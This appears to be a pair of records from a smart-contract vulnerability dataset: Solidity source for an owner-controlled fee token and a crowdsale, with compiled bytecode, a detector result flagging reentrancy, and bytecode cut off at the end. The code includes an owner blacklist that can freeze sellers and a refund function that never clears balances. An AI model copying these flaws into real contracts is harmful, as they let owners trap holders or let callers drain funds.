require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
require(amount <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 10_000_000_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 10_000_000_000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 25) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 25) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a1461034e578063c3c8cd801461036e578063c9567bf914610383578063dbe8272c14610398578063dc1052e2146103b8578063dd62ed3e146103d857600080fd5b8063715018a6146102ab5780638da5cb5b146102c057806395d89b41146102e85780639e78fb4f14610319578063a9059cbb1461032e57600080fd5b806323b872dd116100f257806323b872dd1461021a578063273123b71461023a578063313ce5671461025a5780636fc3eaec1461027657806370a082311461028b57600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b3146101a457806318160ddd146101d45780631bbae6e0146101fa57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611880565b61041e565b005b34801561016857600080fd5b5060408051808201909152600d81526c29b434b136b7b7b7103937b7b360991b60208201525b60405161019b91906118fd565b60405180910390f35b3480156101b057600080fd5b506101c46101bf36600461178e565b61046f565b604051901515815260200161019b565b3480156101e057600080fd5b50683635c9adc5dea000005b60405190815260200161019b565b34801561020657600080fd5b5061015a6102153660046118b8565b610486565b34801561022657600080fd5b506101c461023536600461174e565b6104c9565b34801561024657600080fd5b5061015a6102553660046116de565b610532565b34801561026657600080fd5b506040516009815260200161019b565b34801561028257600080fd5b5061015a61057d565b34801561029757600080fd5b506101ec6102a63660046116de565b6105b1565b3480156102b757600080fd5b5061015a6105d3565b3480156102cc57600080fd5b506000546040516001600160a01b03909116815260200161019b565b3480156102f457600080fd5b5060408051808201909152600881526729a424a126a7a7a760c11b602082015261018e565b34801561032557600080fd5b5061015a610647565b34801561033a57600080fd5b506101c461034936600461178e565b610886565b34801561035a57600080fd5b5061015a6103693660046117b9565b610893565b34801561037a57600080fd5b5061015a610937565b34801561038f57600080fd5b5061015a610977565b3480156103a457600080fd5b5061015a6103b33660046118b8565b610b3f565b3480156103c457600080fd5b5061015a6103d33660046118b8565b610b77565b3480156103e457600080fd5b506101ec6103f3366004611716565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104515760405162461bcd60e51b815260040161044890611950565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600061047c338484610baf565b5060015b92915050565b6000546001600160a01b031633146104b05760405162461bcd60e51b815260040161044890611950565b678ac7230489e800008111156104c65760108190555b50565b60006104d6848484610cd3565b610528843361052385604051806060016040528060288152602001611ace602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fca565b610baf565b5060019392505050565b6000546001600160a01b0316331461055c5760405162461bcd60e51b815260040161044890611950565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105a75760405162461bcd60e51b815260040161044890611950565b476104c681611004565b6001600160a01b0381166000908152600260205260408120546104809061103e565b6000546001600160a01b031633146105fd5760405162461bcd60e51b815260040161044890611950565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106715760405162461bcd60e51b815260040161044890611950565b600f54600160a01b900460ff16156106cb5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610448565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072b57600080fd5b505afa15801561073f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076391906116fa565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107ab57600080fd5b505afa1580156107bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e391906116fa565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082b57600080fd5b505af115801561083f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086391906116fa565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b600061047c338484610cd3565b6000546001600160a01b031633146108bd5760405162461bcd60e51b815260040161044890611950565b60005b8151811015610933576001600660008484815181106108ef57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092b81611a63565b9150506108c0565b5050565b6000546001600160a01b031633146109615760405162461bcd60e51b815260040161044890611950565b600061096c306105b1565b90506104c6816110c2565b6000546001600160a01b031633146109a15760405162461bcd60e51b815260040161044890611950565b600e546109c29030906001600160a01b0316683635c9adc5dea00000610baf565b600e546001600160a01b031663f305d71947306109de816105b1565b6000806109f36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a5657600080fd5b505af1158015610a6a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a8f91906118d0565b5050600f8054678ac7230489e8000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b0757600080fd5b505af1158015610b1b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c6919061189c565b6000546001600160a01b03163314610b695760405162461bcd60e51b815260040161044890611950565b60198110156104c657600b55565b6000546001600160a01b03163314610ba15760405162461bcd60e51b815260040161044890611950565b60198110156104c657600c55565b6001600160a01b038316610c115760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610448565b6001600160a01b038216610c725760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610448565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d375760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610448565b6001600160a01b038216610d995760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610448565b60008111610dfb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610448565b6001600160a01b03831660009081526006602052604090205460ff1615610e2157600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e6357506001600160a01b03821660009081526005602052604090205460ff16155b15610fba576000600955600c54600a55600f546001600160a01b038481169116148015610e9e5750600e546001600160a01b03838116911614155b8015610ec357506001600160a01b03821660009081526005602052604090205460ff16155b8015610ed85750600f54600160b81b900460ff165b15610eec57601054811115610eec57600080fd5b600f546001600160a01b038381169116148015610f175750600e546001600160a01b03848116911614155b8015610f3c57506001600160a01b03831660009081526005602052604090205460ff16155b15610f4d576000600955600b54600a555b6000610f58306105b1565b600f54909150600160a81b900460ff16158015610f835750600f546001600160a01b03858116911614155b8015610f985750600f54600160b01b900460ff165b15610fb857610fa6816110c2565b478015610fb657610fb647611004565b505b505b610fc5838383611267565b505050565b60008184841115610fee5760405162461bcd60e51b815260040161044891906118fd565b506000610ffb8486611a4c565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610933573d6000803e3d6000fd5b60006007548211156110a55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610448565b60006110af611272565b90506110bb8382611295565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061111857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561116c57600080fd5b505afa158015611180573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a491906116fa565b816001815181106111c557634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111eb9130911684610baf565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611224908590600090869030904290600401611985565b600060405180830381600087803b15801561123e57600080fd5b505af1158015611252573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610fc58383836112d7565b600080600061127f6113ce565b909250905061128e8282611295565b9250505090565b60006110bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611410565b6000806000806000806112e98761143e565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061131b908761149b565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461134a90866114dd565b6001600160a01b03891660009081526002602052604090205561136c8161153c565b6113768483611586565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113bb91815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea000006113ea8282611295565b82101561140757505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836114315760405162461bcd60e51b815260040161044891906118fd565b506000610ffb8486611a0d565b600080600080600080600080600061145b8a600954600a546115aa565b925092509250600061146b611272565b9050600080600061147e8e8787876115ff565b919e509c509a509598509396509194505050505091939550919395565b60006110bb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fca565b6000806114ea83856119f5565b9050838110156110bb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610448565b6000611546611272565b90506000611554838361164f565b3060009081526002602052604090205490915061157190826114dd565b30600090815260026020526040902055505050565b600754611593908361149b565b6007556008546115a390826114dd565b6008555050565b60008080806115c460646115be898961164f565b90611295565b905060006115d760646115be8a8961164f565b905060006115ef826115e98b8661149b565b9061149b565b9992985090965090945050505050565b600080808061160e888661164f565b9050600061161c888761164f565b9050600061162a888861164f565b9050600061163c826115e9868661149b565b939b939a50919850919650505050505050565b60008261165e57506000610480565b600061166a8385611a2d565b9050826116778583611a0d565b146110bb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610448565b80356116d981611aaa565b919050565b6000602082840312156116ef578081fd5b81356110bb81611aaa565b60006020828403121561170b578081fd5b81516110bb81611aaa565b60008060408385031215611728578081fd5b823561173381611aaa565b9150602083013561174381611aaa565b809150509250929050565b600080600060608486031215611762578081fd5b833561176d81611aaa565b9250602084013561177d81611aaa565b929592945050506040919091013590565b600080604083850312156117a0578182fd5b82356117ab81611aaa565b946020939093013593505050565b600060208083850312156117cb578182fd5b823567ffffffffffffffff808211156117e2578384fd5b818501915085601f8301126117f5578384fd5b81358181111561180757611807611a94565b8060051b604051601f19603f8301168101818110858211171561182c5761182c611a94565b604052828152858101935084860182860187018a101561184a578788fd5b8795505b838610156118735761185f816116ce565b85526001959095019493860193860161184e565b5098975050505050505050565b600060208284031215611891578081fd5b81356110bb81611abf565b6000602082840312156118ad578081fd5b81516110bb81611abf565b6000602082840312156118c9578081fd5b5035919050565b6000806000606084860312156118e4578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156119295785810183015185820160400152820161190d565b8181111561193a5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119d45784516001600160a01b0316835293830193918301916001016119af565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a0857611a08611a7e565b500190565b600082611a2857634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a4757611a47611a7e565b500290565b600082821015611a5e57611a5e611a7e565b500390565b6000600019821415611a7757611a77611a7e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104c657600080fd5b80151581146104c657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205b29c2ed3bcaf4ff2eef4dbb5ec1faebaa22fe799a87826ff616b37a8dec716764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,124 |
0x248cee44ef56f4072efb546d63aa615cac9bad7d
|
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface ERC20 {
function transfer (address _beneficiary, uint256 _tokenAmount) external returns (bool);
function mint (address _to, uint256 _amount) external returns (bool);
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract Crowdsale is Ownable {
using SafeMath for uint256;
modifier onlyWhileOpen {
require(
(now >= preICOStartDate && now < preICOEndDate) ||
(now >= ICOStartDate && now < ICOEndDate)
);
_;
}
modifier onlyWhileICOOpen {
require(now >= ICOStartDate && now < ICOEndDate);
_;
}
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// Сколько токенов покупатель получает за 1 эфир
uint256 public rate = 1000;
// Сколько эфиров привлечено в ходе PreICO, wei
uint256 public preICOWeiRaised;
// Сколько эфиров привлечено в ходе ICO, wei
uint256 public ICOWeiRaised;
// Цена ETH в центах
uint256 public ETHUSD;
// Дата начала PreICO
uint256 public preICOStartDate;
// Дата окончания PreICO
uint256 public preICOEndDate;
// Дата начала ICO
uint256 public ICOStartDate;
// Дата окончания ICO
uint256 public ICOEndDate;
// Минимальный объем привлечения средств в ходе ICO в центах
uint256 public softcap = 300000000;
// Потолок привлечения средств в ходе ICO в центах
uint256 public hardcap = 2500000000;
// Бонус реферала, %
uint8 public referalBonus = 3;
// Бонус приглашенного рефералом, %
uint8 public invitedByReferalBonus = 2;
// Whitelist
mapping(address => bool) public whitelist;
// Инвесторы, которые купили токен
mapping (address => uint256) public investors;
event TokenPurchase(address indexed buyer, uint256 value, uint256 amount);
function Crowdsale(
address _wallet,
uint256 _preICOStartDate,
uint256 _preICOEndDate,
uint256 _ICOStartDate,
uint256 _ICOEndDate,
uint256 _ETHUSD
) public {
require(_preICOEndDate > _preICOStartDate);
require(_ICOStartDate > _preICOEndDate);
require(_ICOEndDate > _ICOStartDate);
wallet = _wallet;
preICOStartDate = _preICOStartDate;
preICOEndDate = _preICOEndDate;
ICOStartDate = _ICOStartDate;
ICOEndDate = _ICOEndDate;
ETHUSD = _ETHUSD;
}
/* Публичные методы */
// Установить стоимость токена
function setRate (uint16 _rate) public onlyOwner {
require(_rate > 0);
rate = _rate;
}
// Установить адрес кошелька для сбора средств
function setWallet (address _wallet) public onlyOwner {
require (_wallet != 0x0);
wallet = _wallet;
}
// Установить торгуемый токен
function setToken (ERC20 _token) public onlyOwner {
token = _token;
}
// Установить дату начала PreICO
function setPreICOStartDate (uint256 _preICOStartDate) public onlyOwner {
require(_preICOStartDate < preICOEndDate);
preICOStartDate = _preICOStartDate;
}
// Установить дату окончания PreICO
function setPreICOEndDate (uint256 _preICOEndDate) public onlyOwner {
require(_preICOEndDate > preICOStartDate);
preICOEndDate = _preICOEndDate;
}
// Установить дату начала ICO
function setICOStartDate (uint256 _ICOStartDate) public onlyOwner {
require(_ICOStartDate < ICOEndDate);
ICOStartDate = _ICOStartDate;
}
// Установить дату окончания PreICO
function setICOEndDate (uint256 _ICOEndDate) public onlyOwner {
require(_ICOEndDate > ICOStartDate);
ICOEndDate = _ICOEndDate;
}
// Установить стоимость эфира в центах
function setETHUSD (uint256 _ETHUSD) public onlyOwner {
ETHUSD = _ETHUSD;
}
function () external payable {
address beneficiary = msg.sender;
uint256 weiAmount = msg.value;
uint256 tokens;
if(_isPreICO()){
_preValidatePreICOPurchase(beneficiary, weiAmount);
tokens = weiAmount.mul(rate.add(rate.mul(30).div(100)));
preICOWeiRaised = preICOWeiRaised.add(weiAmount);
wallet.transfer(weiAmount);
investors[beneficiary] = weiAmount;
_deliverTokens(beneficiary, tokens);
TokenPurchase(beneficiary, weiAmount, tokens);
} else if(_isICO()){
_preValidateICOPurchase(beneficiary, weiAmount);
tokens = _getTokenAmountWithBonus(weiAmount);
ICOWeiRaised = ICOWeiRaised.add(weiAmount);
investors[beneficiary] = weiAmount;
_deliverTokens(beneficiary, tokens);
TokenPurchase(beneficiary, weiAmount, tokens);
}
}
/* function buyPreICO() public payable {
address beneficiary = msg.sender;
uint256 weiAmount = msg.value;
_preValidatePreICOPurchase(beneficiary, weiAmount);
uint256 tokens = weiAmount.mul(rate.add(rate.mul(30).div(100)));
preICOWeiRaised = preICOWeiRaised.add(weiAmount);
wallet.transfer(weiAmount);
investors[beneficiary] = weiAmount;
_deliverTokens(beneficiary, tokens);
TokenPurchase(beneficiary, weiAmount, tokens);
}
function buyICO() public payable {
address beneficiary = msg.sender;
uint256 weiAmount = msg.value;
_preValidateICOPurchase(beneficiary, weiAmount);
uint256 tokens = _getTokenAmountWithBonus(weiAmount);
ICOWeiRaised = ICOWeiRaised.add(weiAmount);
investors[beneficiary] = weiAmount;
_deliverTokens(beneficiary, tokens);
TokenPurchase(beneficiary, weiAmount, tokens);
} */
// Покупка токенов с реферальным бонусом
function buyTokensWithReferal(address _referal) public onlyWhileICOOpen payable {
address beneficiary = msg.sender;
uint256 weiAmount = msg.value;
_preValidateICOPurchase(beneficiary, weiAmount);
uint256 tokens = _getTokenAmountWithBonus(weiAmount).add(_getTokenAmountWithReferal(weiAmount, 2));
uint256 referalTokens = _getTokenAmountWithReferal(weiAmount, 3);
ICOWeiRaised = ICOWeiRaised.add(weiAmount);
investors[beneficiary] = weiAmount;
_deliverTokens(beneficiary, tokens);
_deliverTokens(_referal, referalTokens);
TokenPurchase(beneficiary, weiAmount, tokens);
}
// Добавить адрес в whitelist
function addToWhitelist(address _beneficiary) public onlyOwner {
whitelist[_beneficiary] = true;
}
// Добавить несколько адресов в whitelist
function addManyToWhitelist(address[] _beneficiaries) public onlyOwner {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
whitelist[_beneficiaries[i]] = true;
}
}
// Исключить адрес из whitelist
function removeFromWhitelist(address _beneficiary) public onlyOwner {
whitelist[_beneficiary] = false;
}
// Узнать истек ли срок проведения PreICO
function hasPreICOClosed() public view returns (bool) {
return now > preICOEndDate;
}
// Узнать истек ли срок проведения ICO
function hasICOClosed() public view returns (bool) {
return now > ICOEndDate;
}
// Перевести собранные средства на кошелек для сбора
function forwardFunds () public onlyOwner {
require(now > ICOEndDate);
require((preICOWeiRaised.add(ICOWeiRaised)).mul(ETHUSD).div(10**18) >= softcap);
wallet.transfer(ICOWeiRaised);
}
// Вернуть проинвестированные средства, если не был достигнут softcap
function refund() public {
require(now > ICOEndDate);
require(preICOWeiRaised.add(ICOWeiRaised).mul(ETHUSD).div(10**18) < softcap);
require(investors[msg.sender] > 0);
address investor = msg.sender;
investor.transfer(investors[investor]);
}
/* Внутренние методы */
// Проверка актуальности PreICO
function _isPreICO() internal view returns(bool) {
return now >= preICOStartDate && now < preICOEndDate;
}
// Проверка актуальности ICO
function _isICO() internal view returns(bool) {
return now >= ICOStartDate && now < ICOEndDate;
}
// Валидация перед покупкой токенов
function _preValidatePreICOPurchase(address _beneficiary, uint256 _weiAmount) internal view {
require(_weiAmount != 0);
require(whitelist[_beneficiary]);
require(now >= preICOStartDate && now <= preICOEndDate);
}
function _preValidateICOPurchase(address _beneficiary, uint256 _weiAmount) internal view {
require(_weiAmount != 0);
require((preICOWeiRaised + ICOWeiRaised + _weiAmount).mul(ETHUSD).div(10**18) <= hardcap);
require(now >= ICOStartDate && now <= ICOEndDate);
}
// Подсчет бонусов с учетом бонусов за этап ICO и объем инвестиций
function _getTokenAmountWithBonus(uint256 _weiAmount) internal view returns(uint256) {
uint256 baseTokenAmount = _weiAmount.mul(rate);
uint256 tokenAmount = baseTokenAmount;
uint256 usdAmount = _weiAmount.mul(ETHUSD).div(10**18);
// Считаем бонусы за объем инвестиций
if(usdAmount >= 10000000){
tokenAmount = tokenAmount.add(baseTokenAmount.mul(7).div(100));
} else if(usdAmount >= 5000000){
tokenAmount = tokenAmount.add(baseTokenAmount.mul(5).div(100));
} else if(usdAmount >= 1000000){
tokenAmount = tokenAmount.add(baseTokenAmount.mul(3).div(100));
}
// Считаем бонусы за этап ICO
if(now < ICOStartDate + 15 days) {
tokenAmount = tokenAmount.add(baseTokenAmount.mul(20).div(100));
} else if(now < ICOStartDate + 28 days) {
tokenAmount = tokenAmount.add(baseTokenAmount.mul(15).div(100));
} else if(now < ICOStartDate + 42 days) {
tokenAmount = tokenAmount.add(baseTokenAmount.mul(10).div(100));
} else {
tokenAmount = tokenAmount.add(baseTokenAmount.mul(5).div(100));
}
return tokenAmount;
}
// Подсчет бонусов с учетом бонусов реферальной системы
function _getTokenAmountWithReferal(uint256 _weiAmount, uint8 _percent) internal view returns(uint256) {
return _weiAmount.mul(rate).mul(_percent).div(100);
}
// Перевод токенов
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.mint(_beneficiary, _tokenAmount);
}
}
|
0x6060604052600436106101a0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806285c64714610421578063144fa6d7146104445780631778f1df1461047d57806320a0128e146104a65780632c4e722e146104cf57806343e91384146104f85780634db3c6d71461051b578063521eb2731461054957806353c3fe8a1461059e578063590e1ae3146105cb57806363e0f8c7146105e05780636f7bc9be1461060f578063718dfb7e1461065c57806373db084414610689578063824d1b4b146106b25780638ab1d681146106db5780638c10671c146107145780638da5cb5b1461076e5780639b19251a146107c35780639d735286146108145780639da0dc0a14610829578063a98a6d1914610852578063b071cbe61461087b578063b3335e6b146108a4578063bed315f8146108c7578063c9db1bbf146108ee578063d7237e4514610911578063deaa59df14610940578063e230dfbd14610979578063e43252d71461099c578063e75ea9da146109d5578063f89be593146109fe578063fc0c546a14610a27575b60008060003392503491506101b3610a7c565b15610339576101c28383610a96565b6102116102026101f160646101e3601e600354610b2190919063ffffffff16565b610b5c90919063ffffffff16565b600354610b7790919063ffffffff16565b83610b2190919063ffffffff16565b905061022882600454610b7790919063ffffffff16565b600481905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050151561029057600080fd5b81600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506102de8382610b95565b8273ffffffffffffffffffffffffffffffffffffffff167fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f8383604051808381526020018281526020019250505060405180910390a261041c565b610341610c75565b1561041b576103508383610c8f565b61035982610d09565b905061037082600554610b7790919063ffffffff16565b60058190555081600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506103c48382610b95565b8273ffffffffffffffffffffffffffffffffffffffff167fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f8383604051808381526020018281526020019250505060405180910390a25b5b505050005b341561042c57600080fd5b6104426004808035906020019091905050610f72565b005b341561044f57600080fd5b61047b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610fe7565b005b341561048857600080fd5b610490611086565b6040518082815260200191505060405180910390f35b34156104b157600080fd5b6104b961108c565b6040518082815260200191505060405180910390f35b34156104da57600080fd5b6104e2611092565b6040518082815260200191505060405180910390f35b341561050357600080fd5b6105196004808035906020019091905050611098565b005b610547600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061110d565b005b341561055457600080fd5b61055c611245565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105a957600080fd5b6105b161126b565b604051808215151515815260200191505060405180910390f35b34156105d657600080fd5b6105de611277565b005b34156105eb57600080fd5b6105f36113b0565b604051808260ff1660ff168